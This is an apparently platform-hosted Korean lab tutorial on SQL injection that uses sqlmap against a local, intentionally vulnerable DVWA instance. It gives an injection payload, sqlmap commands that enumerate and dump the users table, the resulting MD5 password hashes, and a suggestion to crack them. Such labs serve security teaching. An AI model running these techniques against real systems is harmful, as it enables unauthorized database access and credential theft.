sqlmap 을 이용한 SQL 인젝션 공격

LinuxBeginner
지금 연습하기

소개

이 랩에서는 자동화된 SQL 인젝션 및 데이터베이스 탈취 도구인 sqlmap 을 사용하여 SQL 인젝션 취약점을 악용하는 방법을 배우게 됩니다. sqlmap 설치, 취약한 웹 애플리케이션 (DVWA) 구성, 그리고 민감한 데이터를 추출하기 위한 다양한 SQL 인젝션 공격 수행을 실습할 것입니다.

이 랩은 인젝션 지점 식별, 데이터베이스 쿼리 실행, 추출된 정보 분석을 위한 실용적인 기술을 보여줍니다. 이 실습을 통해 공격적인 보안 테스트와 방어적인 취약점 평가 모두에 필수적인 기술을 습득할 수 있습니다.

sqlmap 설치

이 단계에서는 SQL 인젝션 취약점을 탐지하고 악용하기 위한 인기 있는 오픈 소스 침투 테스트 도구인 sqlmap 을 설치합니다. SQL 인젝션은 공격자가 데이터베이스 쿼리를 방해할 수 있게 해주는 일반적인 웹 보안 취약점입니다. sqlmap 은 이러한 취약점을 탐지하고 악용하는 과정을 자동화합니다.

sqlmap 은 Python 으로 작성되었으므로 Python 의 패키지 관리자 pip 를 사용하여 설치합니다. pip 는 Python 과 함께 제공되는 도구로, 추가 Python 패키지를 설치하고 관리하는 데 도움이 됩니다. 다음 단계를 주의 깊게 따르십시오.

  1. 먼저, 기본 작업 디렉토리에 있는지 확인합니다. 이는 프로젝트 파일을 정리하는 데 중요합니다.
cd ~/project
  1. pip 를 최신 버전으로 업데이트합니다. pip 를 최신 상태로 유지하면 최신 버전의 패키지를 설치하고 호환성 문제를 방지할 수 있습니다.
pip install --upgrade pip
  1. pip 를 사용하여 sqlmap 을 설치합니다. 이 명령은 Python Package Index (PyPI) 에서 sqlmap 과 모든 종속성을 다운로드합니다.
pip install sqlmap
  1. 버전을 확인하여 설치를 확인합니다. 이는 sqlmap 이 제대로 설치되었는지 확인하고 현재 버전을 표시합니다.
sqlmap --version

다음과 유사한 출력을 볼 수 있습니다.

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

이는 sqlmap 이 성공적으로 설치되었음을 확인합니다. pip 가 패키지를 사용자의 Python 환경에 설치하므로 도구는 시스템 전체에서 사용할 수 있습니다. 법적 고지 사항은 sqlmap 을 테스트할 권한이 있는 시스템에서만 사용해야 함을 상기시켜 줍니다.

초보자를 위한 주요 사항:

  • pip 는 Python 패키지를 자동으로 다운로드하고 설치합니다.
  • --upgrade 플래그는 pip 자체를 최신 버전으로 업데이트합니다.
  • sqlmap 은 모든 Python 패키지가 있는 Python 의 site-packages 디렉토리에 설치됩니다.
  • --version 플래그는 많은 명령줄 도구에서 설치를 확인하는 표준 방법입니다.
  • 출력은 sqlmap 의 버전 번호와 적절한 사용에 대한 중요한 법적 정보를 보여줍니다.

취약한 웹 앱 설정

이 단계에서는 SQL 인젝션 취약점을 포함하는 "Damn Vulnerable Web Application" (DVWA) 라는 의도적으로 취약한 웹 애플리케이션을 설정합니다. 이는 sqlmap 으로 SQL 인젝션 기술을 연습하기 위한 테스트 환경 역할을 합니다. DVWA 는 보안 전문가와 학생들이 안전하고 합법적인 환경에서 웹 취약점에 대해 배우도록 특별히 설계되었습니다.

  1. 먼저, 올바른 디렉토리에 있는지 확인합니다. ~/project 디렉토리는 모든 랩 파일을 저장할 위치입니다.
cd ~/project
  1. GitHub 에서 DVWA 저장소를 복제합니다. 이 명령은 모든 애플리케이션 파일을 로컬 머신으로 다운로드합니다.
git clone https://github.com/digininja/DVWA.git
  1. DVWA 디렉토리로 이동합니다. 여기는 복제 후 모든 애플리케이션 파일이 저장되는 곳입니다.
cd DVWA
  1. PHP 내장 웹 서버를 시작합니다. 포트 8000 을 사용하는 이유는 일반적으로 사용 가능하며 다른 서비스와 충돌하지 않기 때문입니다. 0.0.0.0은 서버가 모든 네트워크 인터페이스에서 연결을 허용함을 의미합니다.
php -S 0.0.0.0:8000
  1. 서버를 계속 실행하면서 새 터미널 탭을 엽니다 (터미널을 마우스 오른쪽 버튼으로 클릭하고 "새 탭" 선택). 이렇게 하면 웹 서버가 활성 상태로 유지되는 동안 계속 작업할 수 있습니다.

  2. 새 탭에서 서버가 제대로 실행되고 있는지 확인합니다. curl 명령은 홈페이지 콘텐츠를 가져와 애플리케이션이 응답하는지 확인합니다.

curl http://localhost:8000

"Damn Vulnerable Web Application (DVWA)"을 포함하는 HTML 출력을 볼 수 있습니다.

초보자를 위한 구성 요소 이해:

  • DVWA 는 학습 목적으로 보안 취약점을 특별히 설계한 PHP/MySQL 웹 애플리케이션입니다.
  • PHP 내장 서버 (php -S) 는 개발 중에 PHP 애플리케이션을 실행하는 간단한 방법입니다.
  • 포트 8000 은 포트 80 을 사용할 수 없을 때 개발 서버에 대한 일반적인 대체 포트입니다.
  • 애플리케이션은 브라우저에서 http://localhost:8000으로 액세스할 수 있습니다.

참고: 랩 전체에서 첫 번째 터미널 탭에서 서버를 계속 실행하십시오. 모든 후속 단계에서는 이 취약한 애플리케이션을 사용합니다. 실수로 이 탭을 닫으면 4 단계를 반복하여 서버를 다시 시작해야 합니다.

SQL 인젝션 지점 찾기

이 단계에서는 DVWA (Damn Vulnerable Web Application) 에서 기본적인 SQL 인젝션 취약점을 식별하는 방법을 배웁니다. 이는 sqlmap 과 같은 자동화된 도구를 사용하기 전에 중요한 첫 번째 단계입니다. 취약점이 존재하는 위치를 수동으로 확인해야 하기 때문입니다.

  1. 먼저, DVWA 서버가 여전히 실행 중인지 확인합니다 (2 단계에서). 그렇지 않은 경우 다시 시작합니다.
cd ~/project/DVWA && php -S 0.0.0.0:8000

이 명령은 포트 8000 에서 DVWA 를 실행하는 PHP 웹 서버를 시작합니다.

  1. 다음 주소로 이동하여 브라우저에서 DVWA 를 엽니다.
http://localhost:8000
  1. 다음 자격 증명으로 로그인합니다.
Username: admin
Password: password

이것은 테스트 목적으로 DVWA 에서 제공하는 기본 자격 증명입니다.

  1. 보안 수준을 "low"로 설정합니다 (왼쪽 메뉴: DVWA Security -> set to Low -> Submit)
    DVWA 에는 다양한 보안 수준이 있습니다. 보호 기능 없이 기본적인 취약점을 시연하기 위해 "low"를 사용합니다.

  2. 왼쪽 메뉴에서 "SQL Injection"으로 이동합니다.
    여기에서 SQL 인젝션 취약점을 테스트합니다.

  3. User ID 필드에 다음을 입력하여 SQL 인젝션을 테스트합니다.

1' OR '1'='1

이것은 전형적인 SQL 인젝션 테스트 문자열입니다. 자세히 살펴보겠습니다.

  • 작은 따옴표 (') 는 원래 쿼리를 닫습니다.
  • OR '1'='1'은 항상 참인 조건을 추가합니다.
  • 함께 SQL 쿼리를 조작하여 모든 레코드를 반환합니다.
  1. "Submit"을 클릭합니다. 모든 사용자 레코드가 반환되어 성공적인 인젝션을 나타내야 합니다.
    예상보다 많은 데이터 (하나가 아닌 모든 사용자) 가 표시되면 인젝션이 작동했음을 확인합니다.

초보자를 위한 주요 개념:

  • SQL 인젝션은 사용자 입력이 적절한 sanitization 없이 데이터베이스 쿼리에 직접 포함될 때 발생합니다.
  • 작은 따옴표 (') 는 의도된 SQL 쿼리 구문에서 벗어나는 데 사용되는 일반적인 문자입니다.
  • 'OR '1'='1'은 항상 참인 조건을 생성하여 이를 악용하는 기본적인 테스트 페이로드입니다.
  • "low" 보안 수준은 보호 기능을 제거하여 취약점에 집중할 수 있도록 합니다.

이 성공적인 테스트는 User ID 매개변수가 SQL 인젝션에 취약함을 보여줍니다. 다음 단계에서는 이 확인된 취약점 지점을 sqlmap 과 함께 사용하여 보다 진보된 악용을 수행합니다. 인젝션 지점을 수동으로 찾는 것은 자동화된 도구가 백그라운드에서 어떻게 작동하는지 이해하는 데 도움이 된다는 것을 기억하십시오.

sqlmap 으로 데이터 추출

이 단계에서는 자동화된 SQL 인젝션 도구인 sqlmap 을 사용하여 앞서 식별한 취약점을 악용합니다. SQL 인젝션을 통해 공격자는 데이터베이스와 직접 상호 작용할 수 있으며, sqlmap 은 매개변수를 테스트하고 정보를 추출하여 이 프로세스를 자동화하는 데 도움이 됩니다.

  1. 먼저, 모든 명령을 실행할 프로젝트 디렉토리에 있는지 확인합니다.
cd ~/project
  1. 취약한 페이지에 대해 sqlmap 을 실행합니다. --cookie 매개변수는 DVWA 가 인증을 요구하기 때문에 여기에서 매우 중요합니다. <PHPSESSID>를 DVWA 에 로그인할 때 얻은 쿠키 값으로 바꿉니다.
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

--batch 플래그는 sqlmap 에게 기본 옵션을 자동으로 사용하도록 지시하며, 이는 도구를 배우는 초보자에게 유용합니다.

  1. sqlmap 이 세션을 저장할지 묻는 메시지가 표시되면 "Y"를 입력하고 Enter 키를 누릅니다. 이렇게 하면 필요한 경우 나중에 스캔을 재개할 수 있습니다.

  2. 서버에 어떤 데이터베이스가 있는지 확인하기 위해 "databases"를 의미하는 --dbs 플래그를 사용합니다.

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. 출력에는 사용 가능한 데이터베이스가 표시됩니다. 다음 두 개의 데이터베이스가 나열되어야 합니다.
available databases [2]:
[*] dvwa
[*] information_schema

dvwa는 대상 데이터베이스이고, information_schema는 메타데이터를 포함하는 표준 MySQL 데이터베이스입니다.

  1. 이제 dvwa 데이터베이스 내부의 테이블을 검사해 보겠습니다. -D 매개변수는 데이터베이스 이름을 지정하고, --tables는 해당 내용을 나열합니다.
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

주요 매개변수 설명:

  • --cookie: 인증된 액세스를 유지하기 위해 세션 자격 증명을 포함합니다.
  • --batch: 기본 선택 사항을 사용하여 sqlmap 을 비대화형 모드로 실행합니다.
  • --dbs: 서버에서 사용 가능한 데이터베이스 이름을 검색합니다.
  • -D: 조사할 특정 데이터베이스를 선택합니다.
  • --tables: 선택한 데이터베이스 내의 테이블 목록을 검색합니다.

획득한 데이터 분석

이 단계에서는 sqlmap 이 SQL 인젝션을 통해 성공적으로 추출한 민감한 데이터베이스 정보를 검토합니다. 이는 공격자가 정확히 어떤 데이터에 액세스할 수 있는지 보여줌으로써 SQL 인젝션 취약점의 실제 영향을 보여줍니다.

  1. 먼저, DVWA 데이터베이스의 'users' 테이블에서 모든 데이터를 검색해 보겠습니다. 이 명령은 이전에 수행한 작업을 기반으로 하지만, 이제는 자격 증명 정보를 확인하기 위해 users 테이블을 구체적으로 타겟팅합니다 (세션 쿠키로 <PHPSESSID>를 바꿉니다).
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

-D dvwa는 데이터베이스를 지정하고, -T users는 users 테이블을 타겟팅하며, --dump는 모든 내용을 검색합니다.

  1. 출력은 데이터베이스에 저장된 민감한 사용자 정보를 보여줍니다.
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

password 열에는 일반 텍스트 암호 대신 MD5 해시가 포함되어 있습니다. 이는 원시 암호를 저장하는 것보다 낫지만, MD5 는 암호화적으로 깨졌으며 레인보우 테이블 공격에 취약한 것으로 간주됩니다.

  1. 해시 값을 복사하여 붙여넣어 CrackStation 과 같은 온라인 도구를 사용하여 이러한 해시를 크래킹할 수 있습니다. 이는 약한 해싱 알고리즘을 역으로 사용하여 원래 암호를 노출할 수 있는 방법을 보여줍니다.

  2. 전체 데이터베이스 구조를 이해하기 위해 스키마를 검색할 수 있습니다.

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

--schema 플래그는 모든 테이블과 해당 열 구조를 표시하여 공격자에게 전체 데이터베이스의 로드맵을 제공합니다. 이는 추가적인 악용을 위해 매우 중요한 정보입니다.

초보자를 위한 주요 내용:

  • --dump 매개변수는 지정된 테이블에서 모든 데이터를 추출합니다.
  • MD5 해시는 사전 계산된 레인보우 테이블을 사용하여 종종 크래킹될 수 있습니다.
  • 데이터베이스 스키마 정보는 공격자가 데이터 구조를 이해하는 데 도움이 됩니다.
  • 이 연습은 단일 SQL 인젝션 취약점이 어떻게 전체 데이터베이스 손상으로 이어질 수 있는지 보여줍니다.
  • 암호 저장에는 항상 bcrypt 와 같은 강력하고 salt 된 해싱 알고리즘을 사용하십시오.

요약

이 랩에서는 pip 설치 및 버전 확인을 통한 환경 설정부터 시작하여 SQL 인젝션 테스트를 위해 sqlmap 을 설치하고 사용하는 방법을 배웠습니다. 이 랩은 취약한 대상으로서 DVWA 를 배포하고 로컬 테스트 서버를 설정하는 과정을 안내했습니다.

sqlmap 의 자동화된 도구를 사용하여 SQL 인젝션 취약점을 식별하고 데이터를 추출하는 연습을 했습니다. 이 연습에서는 데이터베이스 취약점을 탐지하기 위한 실용적인 사이버 보안 테스트 기술을 시연하면서 필수적인 명령줄 작업을 다루었습니다.